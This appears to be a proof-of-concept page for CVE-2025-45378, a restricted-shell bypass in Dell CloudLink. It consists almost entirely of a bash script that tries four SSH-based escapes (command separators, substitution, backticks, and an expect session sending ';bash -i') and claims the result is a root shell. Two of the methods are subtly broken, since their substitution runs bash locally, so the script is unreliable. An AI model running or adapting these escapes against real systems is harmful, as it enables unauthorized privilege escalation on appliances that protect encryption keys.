CVE-2025-45378 Dell CloudLink 受限shell绕过漏洞

#!/bin/bash # CVE-2025-45378 PoC - Dell CloudLink Restricted Shell Bypass # Requires valid privileged user credentials HOST="target_dell_cloudlink_ip" USERNAME="privileged_user" PASSWORD="known_password" # Method 1: Shell escape using command separator echo "[*] Attempting restricted shell bypass..." ssh ${USERNAME}@${HOST} ";bash -i" # Method 2: Using environment variables echo "[*] Trying environment variable escape..." ssh ${USERNAME}@${HOST} "$(bash -c 'bash -i')" # Method 3: Using backticks for command substitution echo "[*] Attempting command substitution..." ssh ${USERNAME}@${HOST} "`/bin/bash -i`" # Method 4: Using expect script for interactive bypass expect <<EOF spawn ssh ${USERNAME}@${HOST} expect "password:" send "${PASSWORD}\r" expect "$" send ";bash -i\r" interact EOF echo "[*] If successful, you now have root shell access"